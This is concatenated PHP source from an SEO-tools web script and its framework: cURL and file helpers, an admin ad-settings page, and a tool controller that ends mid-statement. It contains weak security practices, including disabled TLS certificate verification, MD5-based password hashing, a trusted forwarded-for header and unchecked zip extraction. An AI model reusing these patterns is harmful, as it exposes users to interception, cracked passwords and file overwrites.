if(isset($_SERVER['REMOTE_ADDR'])) { $ip = $_SERVER['REMOTE_ADDR']; }elseif (!empty($_SERVER['HTTP_CLIENT_IP'])){ $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; $tmp = explode(',',$ip); $ip = end($tmp); } if(filter_var($ip, FILTER_VALIDATE_IP)) return $ip; else return ''; } function getUA(){ return raino_trim($_SERVER ['HTTP_USER_AGENT']); } function getUserLang($default='en'){ if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $langs = explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']); foreach ($langs as $value){ $choice=substr($value,0,2); return $choice; } } return $default; } function delDir($dir) { $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file){ (is_dir("$dir/$file")) ? delDir("$dir/$file") : unlink("$dir/$file"); } rmdir($dir); return 1; } function delFile($file){ return unlink($file); } function getCenterText($str1,$str2,$data){ $data = explode($str1,$data); $data = explode($str2,$data[1]); return Trim($data[0]); } function nullCheck($str){ if($str == null) return true; $str = trim(strtolower($str)); if($str == 'none' || $str == 'null' || $str == 'n/a' || $str == '') return true; else return false; } function copyDir($src,$dst) { $dir = opendir($src); @mkdir($dst); while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($src . '/' . $file) ) { copyDir($src . '/' . $file,$dst . '/' . $file); } else { if(!copy($src . '/' . $file,$dst . '/' . $file)){ //Error - File Copy Failed! } } } } closedir($dir); } function fixSpecialChar($plainTxt){ return mb_convert_encoding($plainTxt, 'UTF-8', 'UTF-8'); } function getLastID($con,$table) { $table = escapeTrim($con,$table); $query = "SELECT @last_id := MAX(id) FROM $table"; $result = mysqli_query($con, $query); $row = mysqli_fetch_array($result); $last_id = $row['@last_id := MAX(id)']; return $last_id; } function getMyData($site){ return file_get_contents($site); } function putMyData($file_name,$data,$flag=null){ return file_put_contents($file_name,$data,$flag); } function baseURL($atRoot=FALSE, $atCore=FALSE, $parse=FALSE){ if (isset($_SERVER['HTTP_HOST'])) { $http = isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off' ? 'https' : 'http'; $hostname = $_SERVER['HTTP_HOST']; $dir = str_replace(basename($_SERVER['SCRIPT_NAME']), '', $_SERVER['SCRIPT_NAME']); $core = preg_split('@/@', str_replace($_SERVER['DOCUMENT_ROOT'], '', realpath(dirname(__FILE__))), NULL, PREG_SPLIT_NO_EMPTY); $core = $core[0]; $tmplt = $atRoot ? ($atCore ? "%s://%s/%s/" : "%s://%s/") : ($atCore ? "%s://%s/%s/" : "%s://%s%s"); $end = $atRoot ? ($atCore ? $core : $hostname) : ($atCore ? $core : $dir); $base_url = sprintf( $tmplt, $http, $hostname, $end ); } else $base_url = 'http://localhost/'; if ($parse) { $base_url = parse_url($base_url); if (isset($base_url['path'])) if ($base_url['path'] == '/') $base_url['path'] = ''; } return $base_url; } function passwordHash($str){ $hash=md5(crypt(Md5($str),HASH_CODE)); return $hash; } function redirectTo($path){ header('Location: '. $path); exit(); } function redirectToWithMeta($path,$sec=1){ header('Location: '. $path); echo '<meta http-equiv="refresh" content="'.$sec.';url='.$path.'">'; exit(); } function array_map_recursive($callback, $array) { foreach ($array as $key => $value) { if (is_array($array[$key])) { $array[$key] = array_map_recursive($callback, $array[$key]); } else { $array[$key] = call_user_func($callback, $array[$key]); } } return $array; } function metaRefresh($path=null,$sec=1,$exit=false){ if($path!=null) echo '<meta http-equiv="refresh" content="'.$sec.';url='.$path.'">'; else echo '<meta http-equiv="refresh" content="'.$sec.'">'; if($exit) exit(); else return true; } function stop($msg=null,$disMsg=true,$logMsg=true){ if(ERR_R){ if($logMsg){ if($msg != null){ $msgWithDate = '['. date('d-M-Y H:i:s') . ' ' . getTimeZone() .']' . " App Notice: " . $msg . " | Request From ". getUserIP(); $errFile = LOG_DIR.ERR_R_FILE; putMyData($errFile,$msgWithDate."\r\n\n",FILE_APPEND); } } } if($disMsg) die("$msg"); else die(); } function writeLog($msg=null){ if(ERR_R){ if($msg != null){ $msgWithDate = '['. date('d-M-Y H:i:s') . ' ' . getTimeZone() .']' . " App Notice: " . $msg . " | Request From ". getUserIP(); $errFile = LOG_DIR.ERR_R_FILE; putMyData($errFile,$msgWithDate."\r\n\n",FILE_APPEND); } } } function curlPOST($url,$post_data,$ref_url = "http://www.google.com/",$agent = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0"){ $cookie = TMP_DIR.unqFile(TMP_DIR, randomPassword().'_curl.tdata'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/html; charset=utf-8","Accept: */*")); curl_setopt($ch, CURLOPT_VERBOSE, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_REFERER, $ref_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS,$post_data); $html=curl_exec($ch); curl_close($ch); return $html; } function curlGET($url,$ref_url = "http://www.google.com/",$agent = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0"){ $cookie = TMP_DIR.unqFile(TMP_DIR, randomPassword().'_curl.tdata'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_MAXREDIRS, 100); curl_setopt($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/html; charset=utf-8","Accept: */*")); curl_setopt($ch, CURLOPT_VERBOSE, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_REFERER, $ref_url); $html=curl_exec($ch); curl_close($ch); return $html; } function simpleCurlGET($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_VERBOSE, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($ch, CURLOPT_TIMEOUT, 20); $html=curl_exec($ch); curl_close($ch); return $html; } function getHeaders($site) { $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $site); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0'); $headers=curl_exec($ch); curl_close($ch); return $headers; } function getHttpCode($site,$followRedirect=true) { $ch = curl_init($site); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $followRedirect); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0'); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return $httpCode; } function getHeader($myheader) { if (isset($_SERVER[$myheader])) { return $_SERVER[$myheader]; } else { if(function_exists('apache_request_headers') ) { $headers = apache_request_headers(); if (isset($headers[$myheader])) { return $headers[$myheader]; } } } return ''; } function createZip($source,$des,$filename) { $filename = str_replace(".zip","",$filename); $zip = new ZipArchive(); $zip->open($des.$filename.".zip", ZipArchive::CREATE); if (is_dir($source) === true){ $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file){ if (is_dir($file) === true){ }else if (is_file($file) === true){ $zip->addFromString(str_replace($source . '/', '', $file), getMyData($file)); } } } $zip->close(); return true; } function extractZip($sourceFile,$desPath){ $zip = new ZipArchive; $res = $zip->open($sourceFile); if ($res === TRUE) { $zip->extractTo($desPath); $zip->close(); return true; } else { return false; } } function classAutoLoader($class){ $filepath = MOD_DIR.$class.'.php'; $filepath1 = MOD_DIR.strtolower($class).'.php'; if(file_exists($filepath)){ if(is_file($filepath)&&!class_exists($class)) require $filepath; } elseif(file_exists($filepath1)) { if(is_file($filepath1)&&!class_exists($class)) require $filepath1; } } spl_autoload_register('classAutoLoader'); foreach (glob(HEL_DIR."*{_helper,_help}.php",GLOB_BRACE) as $filename) { if(file_exists($filename)) require $filename; } define('MY_API_DOMAIN','zib.semehtorp.ipa');<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?> <div class="row" style="padding-left: 5px;"> <div class="col-md-8"> <br /> <div class="form-group"> <label for="site">Ad Spot - 1 <small>(Size: 720x90)</small> </label> <textarea placeholder="Enter your Javascript / HTML Code" name="ad720x90" class="form-control"><?php echo $ad720x90; ?></textarea> <small>Shortcode: {{ads_720x90}}</small> </div> <hr /> <div class="form-group"> <label for="site">Ad Spot - 2 <small>(Size: 250x300)</small></label> <textarea placeholder="Enter your Javascript / HTML Code" name="ad250x300" class="form-control"><?php echo $ad250x300; ?></textarea> <small>Shortcode: {{ads_250x300}}</small> </div> <hr /> <div class="form-group"> <label for="site">Ad Spot - 3 <small>(Size: 250x125)</small></label> <textarea placeholder="Enter your Javascript / HTML Code" name="ad250x125" class="form-control"><?php echo $ad250x125; ?></textarea> <small>Shortcode: {{ads_250x125}}</small> </div> <hr /> <div class="form-group"> <label for="site">Ad Spot - 4 <small>(Size: 468x60)</small></label> <textarea placeholder="Enter your Javascript / HTML Code" name="ad480x60" class="form-control"><?php echo $ad480x60; ?></textarea> <small>Shortcode: {{ads_468x70}}</small> </div> <hr /> <div class="form-group"> <label for="site">Text Ad Spot - 5</label> <textarea placeholder="Enter your Javascript / HTML Code" name="text_ads" class="form-control"><?php echo $text_ads; ?></textarea> <small>Shortcode: {{text_ads}}</small> </div> </div> </div> <input type="submit" name="save" value="Save" class="btn btn-primary"/> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright 2020 ProThemes.Biz * */ //Enable SEO ADDON TOOLS define('SEO_ADDON_TOOLS', true); //Load Meta Tags $pageTitle = $data['meta_title']; $des = $data['meta_des']; $keyword = $data['meta_tags']; $data['about_tool'] = htmlspecialchars_decode($data['about_tool']); $secKey = $secVal = ''; //Tool Path $toolURL = createLink($data['tool_url'],true); $toolOutputURL = createLink($data['tool_url'].'/output',true); //Load Image Verifcation $toolCap = false; extract(loadCapthca($con)); if(filBoolean($allseo_page)) $toolCap = true; else $toolCap = filBoolean($data['captcha']); //Check Image Verification if($toolCap){ $cap_type = strtolower($cap_type); $customCapPath = PLG_DIR.'captcha'.D_S.$cap_type.'_cap.php'; define('CAP_VERIFY',1); define('CAP_GEN',1); if ($pointOut != 'output') require LIB_DIR.'generate-verification.php'; //Generate Image Verification else require LIB_DIR.'verify-verification.php'; //Verify Image Verification }else{ $secKey = randomChar(9); $_SESSION[N_APP.'sec'.$secKey] = array(1,strtotime("+5 minutes")); } //PR01 - Article Rewriter if($toolUid == 'PR01') { $controller = 'output'.D_S.'article_rewriter'; if ($pointOut == 'output') { if (!isset($_POST['data'])) redirectTo($toolURL); if (!isset($error)) { $userInput = stripslashes($_POST['data']); $regUserInput = truncate($userInput,30,150); $spin=new spin_my_data; $spinned=$spin->spinMyData($userInput,'en'); $spinned_data=$spin->randomSplit($spinned); $spinned_data = preg_replace_callback( '/([.!?]\s*\w)/', function($m){ return strtoupper(strlen($m[1]) ? "$m[1]$m[2]" : $m[2]); }, $spinned_data); $spinned_data = implode(PHP_EOL, array_map("ucfirst", explode(PHP_EOL, $spinned_data))); $spinned_data = ucfirst($spinned_data); } } } //PR02 - Plagiarism Checker elseif($toolUid == 'PR02') { $controller = 'output'.D_S.'plagiarism_checker'; $query = "SELECT * FROM pr02 where id='1'"; $result = mysqli_query($con,$query); $resArr = mysqli_fetch_array($result); extract($resArr); if(!nullCheck($pointOut)) redirectTo($toolURL); } //PR03 - Backlink Maker elseif($toolUid == 'PR03') { $controller = 'output'.D_S.'backlink_maker'; if(!nullCheck($pointOut)) redirectTo($toolURL); } //PR04 - Meta Tag Generator elseif($toolUid == 'PR04') { $controller = 'output'.D_S.'meta_tag_generator'; if ($pointOut == 'output') { if (!isset($_POST['keywords']) && !isset($_POST['description'])) redirectTo($toolURL); $metaTitle = raino_trim($_POST['title']); $metaDescription = raino_trim($_POST['description']); $metaKeywords = raino_trim($_POST['keywords']); $robotsIndex = raino_trim($_POST['robotsIndex']); $robotsLinks = raino_trim($_POST['robotsLinks']); $contentType = raino_trim($_POST['contentType']); $metaLang = raino_trim($_POST['language']); $revisitdays = raino_trim($_POST['revisitdays']); $authorname = raino_trim($_POST['authorname']); $checkRevisit = raino_trim($_POST['revisit']); $checkRevisit = filter_var($checkRevisit, FILTER_VALIDATE_BOOLEAN); $checkAuthor = raino_trim($_POST['author']); $checkAuthor = filter_var($checkAuthor, FILTER_VALIDATE_BOOLEAN); $outData = genMeta($metaTitle,$metaDescription,$metaKeywords,$robotsIndex,$robotsLinks,$contentType,$metaLang,$revisitdays,$authorname,$checkRevisit,$checkAuthor); } } //PR05 - Meta Tags Analyzer elseif($toolUid == 'PR05') { $controller = 'output'.D_S.'meta_tags_analyzer'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); if(substr($my_url, 0, 7) !== 'http://' && substr($my_url, 0, 8) !== 'https://') $my_url = 'http://'.$my_url; if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $arr_meta = getMyMeta($my_url,$lang['AS19'],$lang['AS20'],$lang['AS21']); if(is_array($arr_meta)){ $regUserInput = $my_url; $myUrl = ucfirst(clean_url($my_url)); }else{ $error = $lang['AS6']; } } } } } //PR06 - Keyword Position Checker elseif($toolUid == 'PR06') { $controller = 'output'.D_S.'keyword_position'; if(!nullCheck($pointOut)) redirectTo($toolURL); } //PR07 - Robots.txt Generator elseif($toolUid == 'PR07') { $controller = 'output'.D_S.'robots_generator'; if(!nullCheck($pointOut)) redirectTo($toolURL); } //PR08 - XML Sitemap Generator elseif($toolUid == 'PR08') { $controller = 'output'.D_S.'xml_sitemap'; if(!nullCheck($pointOut)) redirectTo($toolURL); } //PR09 - Backlink Checker elseif($toolUid == 'PR09') { $controller = 'output'.D_S.'backlink_checker'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); if(substr($my_url, 0, 7) !== 'http://' && substr($my_url, 0, 8) !== 'https://') $my_url = 'http://'.$my_url; if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $my_url = parse_url($my_url); $host = $my_url['host']; $myHost = ucfirst($host); $alexa = alexaRank(clean_url($host)); $alexa_back = $alexa[3]; } } } } //PR10 - Alexa Rank Checker elseif($toolUid == 'PR10') { $controller = 'output'.D_S.'alexa_rank_checker'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = clean_url($my_url); $my_url = "http://www.$my_url"; if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $my_url = parse_url($my_url); $host = clean_url($my_url['host']); $myHost = ucfirst($host); $alexa = alexaRank($host); $alexa_rank = $alexa[0]; $alexa_pop = $alexa[1]; $regional_rank = $alexa[2]; $alexa_back = $alexa[3]; } } } } //PR11 - Word Counter elseif($toolUid == 'PR11') { $controller = 'output'.D_S.'word_counter'; if(!nullCheck($pointOut)) redirectTo($toolURL); } //PR12 - Online Blog Ping Website Tool elseif($toolUid == 'PR12') { $controller = 'output'.D_S.'blog_ping_tool'; if(!nullCheck($pointOut)) redirectTo($toolURL); } //PR13 - Link Analyzer elseif($toolUid == 'PR13') { $controller = 'output'.D_S.'link_analyzer'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); if(substr($my_url, 0, 7) !== 'http://' && substr($my_url, 0, 8) !== 'https://') $my_url = 'http://'.$my_url; if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $uriData=doLinkAnalysis($my_url); $internal_links = $uriData[0]; $internal_links_count = $uriData[1]; $internal_links_nofollow = $uriData[2]; $external_links = $uriData[3]; $external_links_count = $uriData[4]; $external_links_nofollow = $uriData[5]; $total_links = $uriData[6]; $total_nofollow_links = (int)$internal_links_nofollow + (int)$external_links_nofollow; } } } } //PR14 - PageRank Checker elseif($toolUid == 'PR14') { //Tool Removed! redirectTo($toolURL); } //PR15 - My IP Address elseif($toolUid == 'PR15') { $controller = 'output'.D_S.'my_ip_address'; if(!nullCheck($pointOut)) redirectTo($toolURL); if (!isset($error)) { $ip_info = getMyGeoInfo($ip,$item_purchase_code); $city = $ip_info[0]; $region = $ip_info[1]; $country = $ip_info[2]; $country_code = $ip_info[3]; $isp = $ip_info[4]; $latitude = $ip_info[5]; $longitude = $ip_info[6]; } } //PR16 - Keyword Density Checker elseif($toolUid == 'PR16') { $controller = 'output'.D_S.'keyword_density_checker'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = 'http://'.clean_with_www(raino_trim($_POST['url'])); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $obj = new KD(); $obj->domain = $my_url; $resdata = $obj->result(); foreach($resdata as $outData){ $outData['keyword'] = Trim($outData['keyword']); if($outData['keyword'] != null || $outData['keyword'] != "") { $blockChars = array('~','=','+','?',':','_','[',']','"','.','!','@','#','$','%','^','&','*','(',')','<','>','{','}','|','\\','/',','); $blockedStr = false; foreach($blockChars as $blockChar){ if(str_contains($outData['keyword'],$blockChar)) { $blockedStr = true; break; } } //if (ctype_alnum($outData['keyword'])) { if (!preg_match('/[0-9]+/', $outData['keyword'])){ if(!$blockedStr) $outArr[] = array($outData['keyword'], $outData['count'], $outData['percent']); } } } $outCount = count($outArr); if($outCount == 0){ $error = $lang['183']; } $myUrl = ucfirst(str_replace('www.','',$my_url)); } } } } //PR17 - Google Malware Checker elseif($toolUid == 'PR17') { $controller = 'output'.D_S.'google_malware'; if(!nullCheck($pointOut)) redirectTo($toolURL); } //PR18 - Domain Age Checker elseif($toolUid == 'PR18') { $controller = 'output'.D_S.'domain_age'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = "http://".clean_url($my_url); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $my_url = parse_url($my_url); $host = $my_url['host']; $myHost = ucfirst($host); $whois= new whois; $site = $whois->cleanUrl($host); $whois_data = $whois->whoislookup($site); $domainAge = $whois_data[1]; $createdDate = $whois_data[2]; $updatedDate = $whois_data[3]; $expiredDate = $whois_data[4]; } } } } //PR19 - Whois Checker elseif($toolUid == 'PR19') { $controller = 'output'.D_S.'whois_checker'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = "http://".clean_with_www($my_url); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $my_url = parse_url($my_url); $host = $my_url['host']; $myHost = ucfirst($host); $whois= new whois; $site = $whois->cleanUrl($host); $whois_data = $whois->whoislookup($site); $whoisData = $whois_data[0]; } } } } //PR20 - Domain into IP elseif($toolUid == 'PR20') { $controller = 'output'.D_S.'domain_ip'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = "http://".clean_url($my_url); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $my_url = parse_url($my_url); $host = $my_url['host']; $myHost = ucfirst($host); $getHostIP = gethostbyname($host); $data_list = host_info($host); $domain_ip = $data_list[0]; $domain_country = $data_list[1]; $domain_isp = $data_list[2]; } } } } //PR21 - Dmoz Listing Checker elseif($toolUid == 'PR21') { $controller = 'output'.D_S.'dmoz_checker'; if ($pointOut == 'output') { if (!isset($_POST['data'])) redirectTo($toolURL); if (!isset($error)) { $outData = raino_trim($_POST['data']); $regUserInput = truncate($outData,30,150); $array = explode("\n", $outData); $count = 0; foreach ($array as $url) { $url = clean_with_www($url); $url = Trim("http://$url"); if (!filter_var($url, FILTER_VALIDATE_URL) === false) { $count++; $my_url[] = Trim($url); $url = parse_url(Trim($url)); $host = $url['host']; $myHost[] = ucfirst(str_replace('www.','',$host)); $dmozRes[] = dmozCheck($host,$lang['111'],$lang['112']); } } } } } //PR22 - URL Rewriting Tool elseif($toolUid == 'PR22') { $controller = 'output'.D_S.'url_rewriting_tool'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $r_1 = $r_2 = $r_3 = ""; $my_url = "http://".clean_with_www(raino_trim($_POST['url'])); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $arr = parse_url($my_url); $checkDyn = checkDyn($my_url); if ($checkDyn == '0') { $error = $lang['36']; //'URL entered does not seem to be a dynamic URL'; } else { $my_domain = clean_with_www($arr['host']); $example_url = $arr['scheme']."://".$arr['host'].$arr['path']; $arr_val = split_up_me($my_url); $filename= Trim($arr_val[0]); $f_without_e = Trim($arr_val[1]); $parsed_arg = $arr_val[2]; $start = 1; $sht_url = str_replace($filename,"",$example_url);$sht_url=$sht_url.$f_without_e; $dht_ex_url = $dht_url = $sht_ex_url = $sht_url; foreach($parsed_arg as $argf => $value) { if ($start == 1){ $syb = "?";}else {$syb = "&";} $sht_url = $sht_url."-".$value[0]."-".$value[1]; $dht_url = $dht_url."/".$value[0]."/".$value[1]; $dht_ex_url = $dht_ex_url."/".$value[0]."/(Any Value)"; $sht_ex_url = $sht_ex_url."-".$value[0]."-(Any Value)"; $r_1 = $r_1."-$value[0]-(.*)"; $r_2 = $r_2.$syb."$value[0]=$$start"; $r_3 = $r_3."/$value[0]/(.*)"; $start++; } $sht_url = Trim($sht_url).".htm"; $dht_url = Trim($dht_url)."/"; $sht_ex_url = Trim($sht_ex_url).".htm"; $dht_ex_url = Trim($dht_ex_url)."/"; $sht_data = "Options +FollowSymLinks\r\nRewriteEngine on\r\nRewriteRule $f_without_e".Trim($r_1)."\.htm$ $filename".Trim($r_2); $dht_data = "Options +FollowSymLinks\r\nRewriteEngine on\r\nRewriteRule $f_without_e".Trim($r_3)."/ $filename".Trim($r_2)."\r\nRewriteRule $f_without_e".Trim($r_3)." $filename".Trim($r_2); } } } } } //PR23 - www Redirect Checker elseif($toolUid == 'PR23') { $controller = 'output'.D_S.'redirect_checker'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $url = raino_trim($_POST['url']); $myUrl = clean_with_www($url); $url = "http://$myUrl"; if (filter_var($url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $outData = checkRedirect($url,$lang['179'],$lang['180']); } } } } //PR24 - Mozrank Checker elseif($toolUid == 'PR24') { $controller = 'output'.D_S.'mozrank_checker'; $query = "SELECT * FROM pr24 where id='1'"; $result = mysqli_query($con,$query); $resArr = mysqli_fetch_array($result); extract($resArr); if($moz_access_id == null || $moz_access_id== '') $error = $lang['209']; if($moz_secret_key == null || $moz_secret_key== '') $error = $lang['210']; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = "http://".clean_with_www($my_url); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $my_url = parse_url($my_url); $host = $my_url['host']; $myHost = ucfirst(str_replace('www.','',$host)); $seoMoz = seoMoz($host,$moz_access_id,$moz_secret_key); $mozRank = $seoMoz[0]; $pageAuth = $seoMoz[1]; $domainAuth = $seoMoz[2]; } } } } //PR25 - URL Encoder / Decoder elseif($toolUid == 'PR25') { $controller = 'output'.D_S.'url_encoder_decoder'; if ($pointOut == 'output') { if (!isset($_POST['data'])) redirectTo($toolURL); if (!isset($error)) { $userInput = stripslashes($_POST['data']); $regUserInput = truncate($userInput,30,150); $out_data_e = urlencode($userInput); $out_data_d = urldecode($userInput); } } } //PR26 - Server Status Checker elseif($toolUid == 'PR26') { $controller = 'output'.D_S.'server_status_checker'; if ($pointOut == 'output') { if (!isset($_POST['data'])) redirectTo($toolURL); if (!isset($error)) { $userInput = raino_trim($_POST['data']); $regUserInput = truncate($userInput,30,150); $array = explode("\n", $userInput); $count = 0; foreach ($array as $url) { $url = clean_with_www($url); $url = Trim("http://$url"); if (!filter_var($url, FILTER_VALIDATE_URL) === false) { $count++; $my_url[] = Trim($url); $url = parse_url(Trim($url)); $host = $url['host']; $myHost[] = ucfirst(str_replace('www.','',$host)); $res = itIsOnline($host); $stats[] =($res[0] == true ? "Online" : "Offline"); $response_time[] = $res[1]." Sec"; $http_code[] = $res[2]; } } } } } //PR27 - Webpage Screen Resolution Simulator elseif($toolUid == 'PR27') { $controller = 'output'.D_S.'screen_simulator'; if(!nullCheck($pointOut)) redirectTo($toolURL); } //PR28 - Page Size Checker elseif($toolUid == 'PR28') { $controller = 'output'.D_S.'page_size_checker'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = clean_with_www($my_url); $my_url = Trim("http://$my_url"); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $size = getPageSize($my_url); $kb_size = size_as_kb($size); $myUrl = ucfirst($my_url); } } } } //PR29 - Reverse IP Domain Checker elseif($toolUid == 'PR29') { $controller = 'output'.D_S.'reverse_ip_domain'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = "http://".clean_with_www($my_url); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $my_url = parse_url($my_url); $host = $my_url['host']; $getHostIP = gethostbyname($host); $myHost = ucfirst(str_replace('www.','',$host)); $revLink = reverseIP($getHostIP); $revCount = count($revLink); } } } } //PR30 - Blacklist Lookup elseif($toolUid == 'PR30') { $controller = 'output'.D_S.'blacklist_lookup'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = "http://".clean_with_www($my_url); if 